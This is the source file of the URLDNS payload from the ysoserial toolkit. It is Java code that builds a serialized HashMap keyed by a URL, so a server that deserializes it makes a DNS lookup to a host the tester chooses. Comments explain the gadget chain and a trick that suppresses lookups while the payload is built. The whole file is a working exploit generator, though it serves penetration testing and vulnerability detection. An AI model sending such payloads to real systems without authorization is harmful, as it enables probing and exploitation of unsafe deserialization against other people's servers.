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URLDNS.java
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URLDNS.java
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package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}